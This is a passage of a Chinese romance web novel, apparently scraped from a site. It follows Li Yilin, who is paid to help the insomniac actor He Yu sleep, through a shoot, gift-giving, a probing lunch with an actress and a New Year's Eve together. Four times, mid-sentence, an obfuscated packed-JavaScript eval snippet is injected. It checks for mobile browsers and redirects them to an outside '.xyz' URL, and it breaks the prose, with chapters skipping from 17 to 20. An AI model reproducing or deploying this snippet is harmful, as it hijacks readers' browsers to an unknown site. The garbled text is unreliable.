第一次PPM按照伊林要求在上午十点半进行，如果有任何问题还有一整个下午调整。PPM进行了两个半小时，伊林转达何屿工作室负责整体造型，外景场地、置景风格、对手演员、特效设计都过得比较顺利，大部分时间都在调整拆分至秒的分镜镜头。 目前整片计划长达两分半至三分钟，伊林与导演过了上百个镜头。在交流过程中，伊林注意到，导演对何屿的个人气值与表演风格都比较了解，很多镜头设计得柔和诗意又独立避世。两个人倒不像甲方乙方，更像联合创作人。 置景需要调整的地方不多，也就意味着明天的PPM直接与何屿方过整体脚本与妆造即可。伊林微信与方华确认明日何屿时间后，同步制作团队明日上午11点与何屿团队进行最终PPM。 会议中途，管家阿姨进来庭院与伊林打了招呼。她没有去片场，何屿团队就为她在家中安排午餐。 吃好午餐，伊林带着准备好的圣诞礼物去往片场。她没有再麻烦方华派车，正准备叫电召出租车，阿姨却告诉她，车库里给她备了车，车钥匙就在客厅桌上。 伊林有些惊讶，但也很快接受。何屿团队对她的照顾有些过头，也全是因为她是何屿的“睡眠特效药。”她拿起车钥匙，去车库开了奔驰E450，前往片场。 到片场，何屿正巧在休息室里看回放。伊林没有打扰他与凯西，先去与方华聊周二的官宣TVC拍摄。方华问得很细，得知脚本由伊林所写，她中途打通了工作室造型师电话，让伊林直接与造型师沟通。 与方华聊完脚本，伊林看向何屿的方向。演员已回到镜头前，大监视器前只剩下张凯西。 下午拍摄的戏份是林其卫抓住机会，拉到一笔意想不到的海外投资，以让出部分决策权的方式将频临倒闭的公司扛下来。投资者是美国人，林其卫要与对方整个团队对弈合同权利，伊林发现，何屿的英语口音是纯正的英式RP.何屿提起过，他曾在寄宿学校有很不好的回忆……大概率，他上的是伊顿公学。 伊林再一次沉浸入对何屿表演的欣赏中去。尽管使用的是另一种语言，不再如同汉语般有抑扬顿挫的声调与颗粒感，他依然将台词的力量表现得很好。在与美国资方争取权益时，他的眼神变得笃定，坚毅、这让他美丽显得强势——他减少头部与肩部动作，几乎不眨眼睛，在这一刻，伊林仿佛看到何屿的父亲。如果他没有成为演员，而是成为家族的继承者，那么他现在的样貌应该与此类似。 伊林忽然察觉一种答案——何屿为什么与自己的父亲关系紧张。在演员何屿的私人生活里，他的表情总是温和、淡漠，带着避世般的安宁。伊林从未见过他在人前预演，也从未见过他对团队长篇大论的发表些什么。他不是一个外放的领导型人格，他的观察、思考，都是个人的、安静的、纳于心底，不欲表达的。管理一个企业所需要的外显的雄心壮志，冷血强悍，虚与委蛇，杀伐决断，都不是何屿想要拥有的品格。而这只是一个父权社会中，对于权力型男人的基本定义，在此之上，还需要有更强悍、坚硬、不可挑战、极致权威的绝对自信。何屿游走在各个角色中的放空自我，注定了他是一个平衡于思考和推翻之间的内倾者。他这种类型演员所代表的对人类共感的深入探索与理解，注定了他们不可能为自己裹上一层坚硬的壳，去拒绝自我向外和他人向内的一切情感互动与表达。演员何屿，与属于他父亲的何氏集团，注定并非同类。 这一段表演结束，何屿马上恢复他的一般状态。不可否认，身穿力量感90年代大领西装，将半长的褐色头发全部吹至耳后，坐在办公椅上看剧本的何屿，天然自带职场高层的精英感与距离感。伊林不禁开始幻想，如果何屿是他的同事，不，应该是她的上司，他们的相处又会如何。 尽管何屿不想承认，但他可塑性极强的外在条件，的确让在他在演员这条路上加分不少。虽然他追求的是一种有关人性的内在理解与外在释放，但如果没有这副出色外形的加持，以他无意争抢、淡漠避世的处世态度，机会不会降临。 李伊林计划安排何屿拍摄一组正装硬照，不是用来表现腕表，而是戒指与手镯。他内敛的力量感会与这些首饰的纯粹明亮形成对照，为男性受众带去向往感。在电视剧播出时释出，出爆品的几率会呈几何倍上升。 下午的戏份在6点半拍摄完毕，导演没有要求再继续赶戏。今日周六，全剧组的人都在饭点准时下班。 晚餐方华安排在城里吃。是一家老钱风新派粤菜馆，店内环境将90年代的繁复主义与新千年的极简主义相结合，复古而典雅。换了一身浅色宽松衬衫与休闲裤的何屿坐在其中，相得益彰。 开餐前，伊林拿出迟来的圣诞礼物送给每一个人。方华立刻换上了手机壳，凯西马上将笔和笔记本拍照发了朋友圈，两位助理互相换了对方的围巾自拍。唯独何屿没有立刻拆开。他将礼物盒放在桌边，微笑看着伊林，对她说谢谢。 上前菜茶点时，今日无戏份的项英琦意外出现。她热络与所有人打了招呼，却坐在伊林旁边，全程都在主动与她聊天。她们互相聊了最喜欢吃的东西，广州最值得去玩的地方，最近一次旅行，项英琦家里养的柯基，伊林家楼下跑来跑去的小野猫……何屿坐在伊林的另一边，全程很安静。 一顿饭吃到9点，各自回去休息。项英琦与伊林相约次日中午在片场吃饭，潇洒与何屿道了再见。 回到庭院已过十点。伊林与何屿先各自冲了澡，再回到主卧。何屿将大家送给伊林的圣诞礼物都堆在伊林床上，像座小山。 “来拆礼物。”他坐在自己床上，盘着腿，微笑对她说。 “这么多……”伊林有些不好意思，又马上接过何屿扔过来的礼物小盒。 “最小的是我的。”他笑得放松可爱。 “那我最后拆。”伊林很珍惜它，将它放在枕头下。然后她一个一个拆开面前的礼物盒——方华送了她苹果形状的香薰蜡烛，凯西送了她很漂亮的小王子书灯，两位助理分别送了她新年艺术日历、手工牛仔书衣……这些礼物明显比她的更浪漫、更有趣、更富有想象力。 伊林一边止不住的开心，一边又有些不好意思。她送出去的那些礼物一看即知，是在商场集中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459251|169676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 采购。多年以来，伊林从未真正给任何人用心准备过礼物，只挑选对方常用的贵价品即可。她在心中暗下决定，到农历新年，她会好好想想要送何屿什么礼物。 “还有一个，被你塞到枕头下了。”何屿盘起双腿，曲起左臂抵在膝盖上，再用左手托腮提醒她。暖光之中看过去，他就像个大男孩。 “……差点忘了。”伊林故意说。她抽出枕头下的小礼盒。小心翼翼拆开它——是一张企鹅书卡，无限额。 “我不知道你还缺什么书，干脆给你书卡。”何屿向她解释。“将来，你也可以用它买你自己的书。”他带着笑意的漂亮眼睛看着她，像在看向一个梦。 “……谢谢。”伊林鼻子发酸。她低下头避开何屿视线，忍住泪水。她发现，在他身边，自己总是情绪失控。 “我先把礼物收起来。”伊林假装忙碌、将床上礼物收至桌台。她将书卡放入卡包，那里面有她的身份证，社保卡，信用卡，储蓄卡……这张无限度书卡，构成了一个更完整的她。 回到床上，伊林闻到熟悉的乌木沉香。是何屿点燃了她送的香薰。男子已放松躺在床上，不同的是，他让出了靠近伊林的左半边床铺。 “……要不要跟我一起睡？”他回看伊林，友善问她。 “……好。”尽管伊林知道，这样的邀请对何屿不算什么，但对伊林来说已不平静。她无法拒绝他。 “我先去关灯。”她再度避开何屿视线。 关掉大灯，房间中只剩下香薰发出的微弱暖光。伊林走去另一张床上躺下，掀开被子盖好。然后，是另一个人的靠近。 “……明天你大概什么时候有空？要约你一小时时间，做利希斯品牌TVCPPM。”?“方华之前跟我讲过。明早我没有戏，可以约在11-12点。” “好。”这是早就与方华确认好的时间，何屿肯定也知道。但他没有戳破伊林的没话找话。或许，他知道她在紧张。 “周二拍摄，你……周四回上海？” “嗯。”何屿只是躺在她身后，但并没有进一步靠近，他们并没有身体接触。 “……五个晚上。这五个晚上，都跟我一起睡吧。”男子的声音很轻柔。 “为了你的睡眠利息？”伊林轻笑着挑破他。 “嗯。为了我的睡眠利息，委屈你挤一挤。”何屿的声音，带着放松的笑意。 “……勉为其难答应你了。”伊林装作宽宏大量。 “谢谢。”何屿的尾音变得有些哑。“有空一起去小酒馆。” “好。”伊林想起，这是不久之前他们曾经的约定。“期待你的易容术。” “没问题……”何屿的声音开始喑哑，像是被埋入被子里。与伊林的太过接近，会让他不自觉变得嗜睡。 “快睡吧，晚安。”伊林决定放他进入睡眠。 “晚安……” 何屿的呼吸渐渐平稳。他在睡梦中进一步靠近她。 隔着柔软的真丝布料，伊林依旧能感受到对方皮肤的温热。这是她喜欢上的男子，他美丽，沉静，复杂，干净。 她翻过身来，伸出手去，轻轻抱住他。 她不再挣扎。 17. 第 17 章 17 伊林比何屿先醒来。她躺在自己的半边枕头，看着那张漂亮睡颜。近距离看过去，他的眉骨生得完美，鼻梁高挺，但鼻尖稍有挺翘，显得秀气。健康的粉色嘴唇略显稀薄，让他的美丽带有距离。他的下颌线其实锋利，但这种攻击性的美又被纤长睫毛所中和，呈现出介于英俊与美丽的平衡感。 虽然已有细小阳光渗入室内，男子依然睡得很沉，这让伊林有一种可以放肆注视他的安全感。任何一个摄影师应该都会很喜欢这张脸。那些蜿蜒美丽的深邃线条、不同光线下的明暗雕刻、在每一个时刻里，都会幻化成动人的联想。复杂与纯真，明亮与阴鸷，快乐与悲伤，都与这张脸毫不违和。或许她与其他人亦并无两样——她对他的喜欢，离不开这张美若神迹的脸。 伊林让视线离开沉睡者。她坐起来，让自己完全清醒。然后她安静走出主卧，去次卧洗漱。 何屿的表铃在10点响起。彼时伊林正在次卧读《中世纪之美》。半小时后，主卧房门被打开，何屿穿着卡其色灯芯绒厚衬衫、米色休闲裤走出来，靠在楼梯口用手机发信息。 几乎是同时，伊林手机屏幕亮起，被关闭提示音的微信显示一条新信息。她拿起来看，是何屿问她，「去哪里了？」 「在次卧。」 伊林抬头，何屿转过身看向她。早间阳光透过高窗照射进来，让他更显明亮。 看见她后，他笑了。 “下楼吧，去吃早餐。”他的声音低沉、温和。他沉浸在光芒中，像诗句。 “……好。”无形流动的时间里，伊林用记忆定格画面。她合上书本，站起身来，脸上因心动有了鲜活的热度。 她走向他，一步一步，消散着漫长的孤独与封闭的踯躅。 她的心，燃烧起来了。 吃完早餐，PPM进行了一小时，过得非常顺利。造型师为何屿准备了与树木十分相配的白色高定巴洛克式长衫，配以棕色带有刺绣纹理长裤，以及同色系麂皮长靴。效果图中的何屿，银白色发尾被稍稍接长，微微曲卷着，稍稍盖住同色系的眉毛。耳朵变尖，耳上被设计了一些编发，额头中央被嵌入一块菱形绿色宝石，与他的绿色双眸形成映和。 在造型师讲解妆发时，伊林盯着屏幕中的效果图看了很久。这是她在梦中见过的何屿，那个带领她进入梦想之屋，离她而去的，“不是一个世界中的人”。是否因为这个梦，伊林才会写下这样的脚本？明知身为精灵的他会最终离去，还要一意孤行，将他带往属于自己的现实？ 会议的进行没有允许她走神太久。何屿本人并不想要额头嵌入宝石，也不想将自己的眼睛改为绿色。但他最终听从了自己造型师的劝告，银白系发色搭配绿眸比较合适，额头的绿色宝石则按照他的意愿去掉了。 线上会议结束后，伊林看到手机上项英琦传来的定位信息——是天河区一家日式餐厅。她忽然想起昨天的约定，问何屿能否借一辆车。 “你有车钥匙的那辆，随意用。”何屿对她说。“要去城里找英琦？”他问她。 “嗯。都忘了今天跟她约了午饭。”伊林快速收起电脑与记事本，“你一会儿要去片场吧？我跟她吃完去跟一下TVC堪景，就不去找你了。” “……好。”何屿目送她进房放下手中物品，再背起单肩包准备出门。“晚上见。”他对她说。 “晚上见。”伊林回得匆忙。她很快将车驶出庭院。 来到与项英琦约见的餐厅，对方已经点好菜。“来，坐。”漂亮的女演员今天穿着灰色蝙蝠袖oversize薄毛衣，配一条米白色阔腿裤，一头浓密曲卷长发随意半扎起来，像个来度假的富家小姐。 “今天下午不用赶戏？”伊林坐下，用工作打开话题。 “没有。我明天上戏。”项英琦为她倒好酱油点入芥末。对李伊林，项英琦有种不应属于她的殷勤。 伊林没有拒绝她。她大概明白，与自己并不熟悉的女明星主动约饭，必不仅仅只是一顿饭这么简单。她邀请伊林，也没瞒着何屿，像是一种光明正大的有所图谋。 餐品一道一道上来，项英琦一边与她闲聊，一边为她介绍食材。她好像对美食很有研究，吃起东西也不是非常节制。伊林问起她是否需要节食以保持身材，英琦爽快告知她，她更乐意用健身维持身材。 饭吃到一半，本不相熟的两个人终于陷入无可避免的暂时冷场。伊林决定问出她真实想问的问题。 “英琦，你约我吃饭……是有问题想问吗？” “……是。”项英琦见她如此直接，倒也切入正题。 “我马上要签约何屿工作室。为了我自己的事业安全，我需要知道他身上存在的一切风险。我觉得……你们之间的关系不简单。……你是他女友吗？” “……不是。”伊林答得干脆，简短。她内心有些犹豫，不知道比起“陪睡员”这种离奇关系，伪装成女友是否会更加方便。但她没有表现出来。 “那你们是什么关系？”项英琦漂亮的眼睛里透着审视。“你们绝不是普通朋友。” 伊林不由自主深呼吸。但她维持表面平静。“……何以见得？”她选择将问题抛回去。 “一种直觉。”项英琦亦没有给她太多回应。伊林大概明白，她手里没有切实证据，只能来个突然袭击。 “我只是利希斯的品牌代表，外派负责他的代言项目推进。” “我跟何屿认识七年，他的风格我大概知道。重要项目进程里他不会接代言，他也用不着代言养活团队。他能接利希斯代言，一定跟你，或者什么其他因素有关。”项英琦虽然语气平稳，但视线锋利。她是在体面的戳破伊林。 “……你应该直接去问何屿。我签了保密协议，只有他有权力选择是否告知。”李伊林选择与她开门见山。 “……”闻此回答，项英琦陷入一段沉默。她有些震惊于“保密协议”的存在。这证明，何屿与李伊林之间的关系，的确绝非平常。但何屿是不会告诉她的。毕竟，从合同签署的层面，他是老板。而这位利希斯的高级总监，也是个心理素质过硬的狠角色——她不仅猜到这顿午餐是有目的的，还能在突如其来的突兀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459252|169676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提问里保持表情淡然——她的伪装功力，跟何屿不相上下。 “好吧。我会问他。”项英琦挂上微笑，将正餐后甜点推给伊林。“希望不是什么会暴雷的秘密。”她不甘心的小声念着。 伊林笑了，这位外表锋利型的漂亮女孩接近去看，其实更像个直接可爱的同班同学。 “……你为什么选择跟何屿签约？他五年没出来工作了，你相信何屿工作室的资源能力？”伊林将问题抛回项英琦本身。 “他是这个圈里的‘稀缺型资源’。虽然沉寂五年，但他这次复出选的班底简直顶级。”项英琦再度看向李伊林。“他入行多年，除了有剧上映时配合炒炒绯闻，其余时间从未传出任何恋爱八卦。从我对他的接触，他不喜欢接近任何人，虽然出身很高，但他在工作里喜欢公平待人。他的工作室都是何氏集团出来的，背景有保障。不论从实力还是人品，选他都没有风险。”说到这里，项英琦别开视线。“但现在你出现了，你是何屿工作室最大的不确定因素。” 项英琦很坦诚。伊林明白，她搞突然袭击，就是想赌一把。实际上，伊林的反应已经暴露。虽然不知李伊林与何屿之间具体情况，但至少，她摸清楚了何屿的“雷点”，确实在李伊林身上。 “讲到他的资源，光我知道的，何屿接下来在谈的有两部电视剧，三部电影。市场上，他这个类型的男演员着实稀缺。他的商业价值更是同级里无可取代的。他的粉丝购买力很强，他本人又是已被公开的特权富有阶层。何屿的为人圈里都知道，他是独行侠，是因为他根本不用费力跑资源。所有优质资源都会主动找到他，因为他不论从形象气质，专业技术，阶级出身，都无死角。在国内娱乐圈，何屿没有代餐。”项英琦喝下一口气泡水。“我是女性，跟他不存在竞争关系，我的形象与他还有一些互补性。签到他旗下，对目前的我来说，是最好选择。” 项英琦说得没错。在这个圈子，不论如何不公，“特权阶层”出身的何屿就是天生得到眷顾的超一线演员。如果他的睡眠问题被曝出，如果他没有请李伊林来当“陪睡员”，大概率不是什么风险。但如果他与伊林多次同床共枕的事实被爆出来，各种莫须有的肮脏猜测不会少，同级竞争者会联合起来对他进行舆论围剿——干掉何屿，大家分到的蛋糕都会大一些。 “《风起》播出后，我觉得你和何屿的CP会爆。这次你大概率能进一线。你选择何屿工作室，对他来说也是好事。”?“……什么好事？”项英琦反问伊林。她感到不解。在现阶段，她的资源、地位，都明显比不上何屿。 “……你的外形和专业技能都很出色，他很有眼光。……你能跟他形成互补。”伊林反应很快，用客套话顶过去。实际上，她脱口而出的“好处”，是何屿的一种风险兜底——一旦他与伊林的关系暴露，项英琦可以成为工作室的一个缓冲带。只要将一直不温不火的项英琦推上一线，何屿工作室就会引来更多艺人投奔。何屿本人会在这个过程中慢慢退出公众视野，与伊林的关系暴露，也不会对工作室造成毁灭性打击。他是在为他的工作室铺后路。 20. 第 20 章 20 20 周三一日双周会开到下午三点，是12月31日，上海总部都早早下班。伊林下线之后开车赶往影视城，与叶朗确认所有关键镜头拍摄。有一些镜头不是很满意，推倒重新拍摄。本来计划7点收工，延后至将近10点。叶朗定了10点班机飞回上海，她不想在异地跨年。7点之后的所有工作是伊林盯着做完的。 收工后，李伊林才有空去看手机。方华在9点发来微信，约她10点去瑰丽酒店107层高空餐厅吃跨年晚餐。她回复了「刚收工，马上去」，立刻启动车子赶往珠江新城。 到BlackIron餐厅，已是10点过半。服务经理将伊林引去包厢，打开门，何屿工作室在广州的全体成员正在聊天拍照。方华先看到伊林，抬手招呼她进来。何屿与项英琦坐在靠窗沙发聊天，英琦笑得开心，何屿则是他一以贯之的淡然微笑。 “可以上餐了。”方华对服务经理说。伊林因此知道他们在等她，心暖之余又很过意不去。而与此同时，一种长久有之的矛盾心理浮上心头：这一切的一切，都只因她是掌控何屿睡眠的救命稻草。这棵救命稻草换成人群之中的其他一位，也会如她一样，受到何屿团队的一等待遇。 项英琦抬眼看见伊林，热情招呼她坐在自己身边。何屿则落座在伊林另一侧的长桌主位。开餐后，方华敲敲香槟杯，开心的聊天声安静下来。干练的经纪人起身，面对朝夕相处的工作伙伴开口说话。 “看你们都是I人，我先来暖个场！很开心我们又重聚在一起，为了更多更好的目标努力工作！新年快乐！” 话音落下，她向大家敬一杯酒，一饮而尽。 “下面有请主心骨何屿来讲两句！” 方华坐下，笑意盈盈看向何屿。演员稍稍摇头，无奈举杯，站起身来。 “……很高兴五年之后，工作室又能重新启动。我们遇到了一个现象级的好作品，也十分幸运找到问题的最佳解决方案。”讲到这里，何屿带着笑意的眼睛看向伊林。“接下来，请一起努力，去看更好的风景。相信来年，我们都会收获更多。” 这是第一次，李伊林听到何屿的演讲，优雅有力，从容不迫。亲密的伙伴们轻轻鼓掌，是一种温暖真诚的默契。 何屿将香槟酒杯举起。他环视一周，让所有人都觉得被重视。“新年快乐，请大家随意开动。”他将杯中酒饮尽，而后落座。 长桌上所有人均饮尽一杯酒，晚宴正式开始。项英琦这个“外来人口”再一次成了暖场高手。伊林听着她与桌上所有人的话题聊天，再有意无意看向随意切入话题聊几句的何屿。她有一种感觉，何屿、项英琦是同一个世界的人。他们外形俊美，财务自由，习惯于穿梭世界各地。尽管项英琦尚未进入一线，她的财富积累也早已超过同龄人数倍。他们站在品味与财富的金字塔顶端，表现出一种对此不是十分在意的松弛。他们与李伊林年纪相仿，却并非同一阶层。 伊林吃下一份鹅肝，在英琦提到伦敦美食时加入谈话。伦敦是她最喜欢的城市，因为这份喜爱，她曾努力争得名额，在伦敦政经交换一年。但她亦无意多说，在伦敦生活的日子里，她只是一个需要记账的拮据学生。天气好时，她喜欢在伦敦各个城区散步，更多享受昂贵城市里的免费风景。在她忙碌平凡的伦敦生活里，高档餐厅一年去不了几回，衣物用品也非常节省。她的海外经历，定是与他们不尽相同的。 一顿饭吃到接近凌晨。餐后甜点时分，张凯西亮出手机屏幕的新年倒计时，除了何屿伊林之外的所有人都去往窗前，看向广州塔的跨年倒计时灯光秀。 地面上人头攒动，伊林知道，聚集在塔下的人们会异口同声将倒计时喊出声来。所有辛苦劳累、失望辛酸，在这一秒都不复存在。只是因为某种无可避免的虚幻升腾，希望与憧憬在无数颗心里复活——而这一切只是因为，新的一年开始了。 1月1日零时，包厢里的年轻人互相拥抱，笑着、泪着、祝福着同一句新年快乐。项英琦不知为何与方华抱在一块，两个人看起来都有点醉。何屿与伊林就像被遗忘在安静的角落。这对他们来说，正相宜。 “新年快乐。”伊林对他举杯。“祝你在新的一年，每天都有好睡眠。” “谢谢。”何屿与她碰杯。“也祝你在新的一年得偿所愿，不论你的愿望是什么。” 伊林看着他微笑的焦糖色眼睛，抬头将杯中酒一饮而尽。她的愿望……或许已经有了。但那是否能够实现，并非她个人所能控制。 因为那关乎另一个人的真心，与藏匿其中的真爱。 半小时后，司机来接送团队各自回到住处。何屿与伊林同一辆车回到庭院，已是凌晨一点半。两个人都累了，各自快速冲好澡躺进床铺。窗外却忽然传来噪声与光亮——应该是附近村子里守夜的人心血来潮，半夜出来放烟花。 伊林被遥远的爆破声响吸引，睁眼看向窗外。烟花很快熄灭。月色照入窗棂，目光所及之处，是何屿。 静谧夜色里，漂亮男子柔和看向她。生平第一次，他伸出手来，轻抚她的头发。然后，他闭上眼睛，亲吻她的额头。 “……伊林，你会一直陪着我，对吗？” “……嗯。”伊林轻声回答他。“我会一直陪着你。” 是了。他对她唯一的感情，来自她的“催眠”功效。 “谢谢你……”原本停留在耳边的手向下收紧，将她拥至自己怀中。这怀抱亲昵，需索，却只让伊林觉得冰冷。 次日清晨，李伊林比何屿更早醒来。她微信询问了方华今日有无拍摄计划，对方很快回复，何屿今日无戏份，可以让他好好休息。 伊林收回手机，在忘记关窗帘的日光中看着身边人的睡颜。她想起第一次见到他时，失眠严重的他对光线异常敏感。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459255|169676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在，窗外阳光畅通无阻照射在他纤长密合的睫毛之中，却丝毫无扰他的美梦一场。 何屿的状态越来越好了。这是李伊林的功劳。不论两人阶级是否悬殊，被合同捆绑的关系是否功利，又是否存在永远得不到回应的、单方面的爱，此时此刻，伊林骄傲于自己能够拯救他人的力量。是她救了他。她在内心做下决定，不论之后内心境遇如何变化，何屿都会是她永不放弃的责任。 伊林轻声起床，去次卧冲好澡，在窗边沙发窝下来，继续重读《昨日的世界》。“……夏天的第一个节日仿佛预示着整个夏天会无比美好。举目望去一片苍翠，处处洋溢着欢声笑语，使人忘却了日常生活中的哀愁。……无论是持续不断的噪音，还是街道上车水马龙的喧闹声，潺潺的流水声，几分钟后就会完全适应。但有一点恰恰相反，只要一种旋律冷不防停顿，反而会引起我们的注意倾听。” 从第220页读到236页，手机屏幕亮起。是何屿传来微信：「去哪了？」 伊林将书本合上，回去主卧找他。刚刚睡醒的男子懒懒躺在阳光中，一双眼睛还在盯着手机屏幕。听见声音他看向来人方向。聚焦后，他对着伊林绽开微笑。 “来……再陪我躺一会儿。”何屿的声音懒洋洋的，带着刚睡醒的低沉哑音。 “……好。”伊林应着他，重新躺回床上。何屿面向她侧躺着，自然伸手揽住她。 “一年前的今天，我正窝在伦敦一间老房子里，盯着窗外的雨发呆。” 伊林想起第二次见到何屿。他一周未睡，漂亮的棕色双眼中荒芜一片，眼下乌青，像个没有意识的空洞蜡像。 “那时候觉得眼睛干涩，感官空荡，一切都毫无意义。” 伊林听着，心疼握住何屿的手。 他很温柔的，用另一只手覆盖她。“那时根本不会想到，我还能享受睡眠，还能一觉睡到天亮，还能在阳光里回忆刚刚发生的美梦一场。” “你……梦到什么？”伊林窝在他怀里问。 “不告诉你。”何屿低沉的尾音俏皮。 他再度亲吻伊林额头。 庭院里传来大门开启的声音，应该是管家阿姨。不一会儿，乖巧可爱的小黄狗跑上楼，安静趴在门口摇尾巴。伊林朝着它招招手，它开心跑来床边趴下——是一只训练有素的小动物，不上主人大床。 “它叫云音，是只小流浪狗。去年春天自己跑来院子里，管家抱回去养了。”何屿一只手垂下去，亲昵摸着它金黄色的毛发。“可能因为被抛弃过，十分乖巧，很听话。”美丽男子的修长手指动作轻柔。小狗舒服得眯起眼睛，尾巴摇得像风扇。 伊林看着抚摸云音的何屿，心中像有暖风拂过。她翻身趴在男子身边，伸出手去，第一次，主动抚摸他的头发。 何屿没有发出任何声音，任伊林碰触自己。 他闭上眼睛。 21. 第 21 章 21 21 难得的元旦假期，伊林与何屿大部分时间腻在一起。好容易起来下楼吃了早午餐，又一起窝进沙发里看电影。午后阳光照进木地板，将纯白一片的大厅染成阳光房。下午茶备好在庭院，园丁在草地里准备了露营垫，两个人躺在南方以南如北方初夏的温暖阳光里，有一搭没一搭的聊着各自的小时候。 伊林知道了何屿小时候经常被认成女孩，上小学时曾经有可爱的小女孩跟他手牵手同进同出了一个学期才知道，他是男孩。何屿知道了伊林小时候是个假小子，最好的朋友是两个虎头虎脑的男孩子。上了中学之后，伊林暗恋一个同校篮球手长达三年，始终没有告白过。所以喜欢流川枫？何屿问她。不，她说。喜欢上流川枫并不是在中学时代。 何屿的中学是在国外上的。伊林没有猜错，是伊顿公学。这座闻名世界的男子私校等级观念严重，世家圈子固化，几乎没有阶层之外的外来人。刚进校时，何屿年纪尚小，他需要做高年级男孩的跟班，还要忍受这个集体对他外貌的冷嘲热讽。 “那时，我看着镜子里这张被他们说成‘女里女气’的脸，自己用水果刀划上一道疤。”他对她说。 伊林在阳光下仔细看向何屿的脸。他的皮肤细腻光滑，并无被伤害的痕迹。 “没有留疤。可能那时候太小，下手不是很重。”何屿看看她的眼睛，再转开视线。 伊林侧躺在他身边，没有说话。她不知道该说什么。曾经她认为何屿的生活里不会有伤害。曾经她认为何屿一出生就站在顶端。曾经她认为何屿所受过的最大苦楚，就是这莫名其妙的失眠症。 “……那时候课业繁重，每天早上八点就开始读书，下午下课了还要去学习剑术、练习皮划艇、或者踢踢足球。所有男孩都在暗自较劲，比谁更聪明，比谁更强悍。……失眠症就是从那时候开始的。” 回忆往昔，何屿语气平淡，仿佛这些经历都只是另外一个他。伊林只是静静听着，同时握住他的手。 何屿察觉她的接近，亦侧躺过来，看入她的眼睛。 “……说说你的中学时代。” “我没什么特别的，每天就是上学放学，暗恋的篮球手有比赛的话，我就去早早占位。但我也不表现出来，那时候我总是有种自卑，觉得我不会得到自己想要的。” “……为什么这么想？” “……我的发育比较慢，到高中了还是竹竿身材，初中就更不用提。我也喜欢短发，从小学到初中，我都留着男孩子一样的短头发。跟你正好相反，我是会被喊‘男人婆’的那类女生。” 伊林自嘲着，嘴角泛起无奈的笑。她视线低垂，看向与何屿十指交缠的手。 “年级里有很多漂亮女孩，会在课间走廊三三两两一起走过，接受大家的注目礼。我没什么朋友，小学时玩在一起的男孩子也不跟我同校，在家附近遇到，他们也不太跟我讲话。好像长大了，就都变得拘谨。” “……看篮球比赛多了，我渐渐也想自己打球。我买了个篮球，每天早晚都去练。球场里基本只有我一个女生。……很奇怪，在这种默默练习的独处里，我体会到收获的自由。” “……是的。”何屿平躺过来，把她的手放在胸口。他鲜活的生命在她手中。咚咚，咚咚。 “我被同学偶然拉近戏剧社后，也是在独自一人的练习里迷上表演。我要对着镜子一遍一遍调整自己的每一个表情。渐渐的，这张脸就不再属于我，它变成了哈姆雷特，麦克白，李尔王，科利奥兰纳斯……我终于可以不再恨它了。” 他的心跳依旧平稳，伊林却在心痛。她深深呼吸着，垂下视线暗自平复。 “……说来可笑。你作为男孩一心想要摆脱的美丽，是同龄女孩梦寐以求的砝码。拥有了美丽，就会拥有所有赞美与爱。那是我十几岁时同龄人的普遍共识。”伊林对他说。“客观存在的美丽，被所谓的性别差异再造成了两种观念。” “是这样。”何屿依然把她的手放在胸口，平躺在树的阴影下。“在男性群体里，美丽是一种女性特征。它是被他们所看不起的。 相貌英俊的力量型男性会是他们的崇拜对象。这种崇拜是自发的，等级森严的。不好看、个子矮小、力量不突出的男性会自愿居于底层，不参与顶端的资源竞争。” “……你呢？你会把自己放在哪里？” 这个问题让何屿长久的陷入沉默。像是做过深思熟虑，他松开伊林的手，坐起身来，双手抱膝。 “我会把自己放在旁观的位置。” 在这之后，又是长久的沉默。伊林也坐起身来，与何屿肩靠着肩。她知道，自己正在接近藏在最深处的、完全陌生的他。 “先开始，我就被放在他们的既定群体之外。因为我的相貌，我的种族，我甚至都进入不了他们评断基准的最底层。他们甚至……试图强迫我成为女性的替代品……他们会剥光我的衣服，嘲笑我的面部特征，再对我拳打脚踢。” 伊林双目睁大，一时无法接受。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459256|169676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 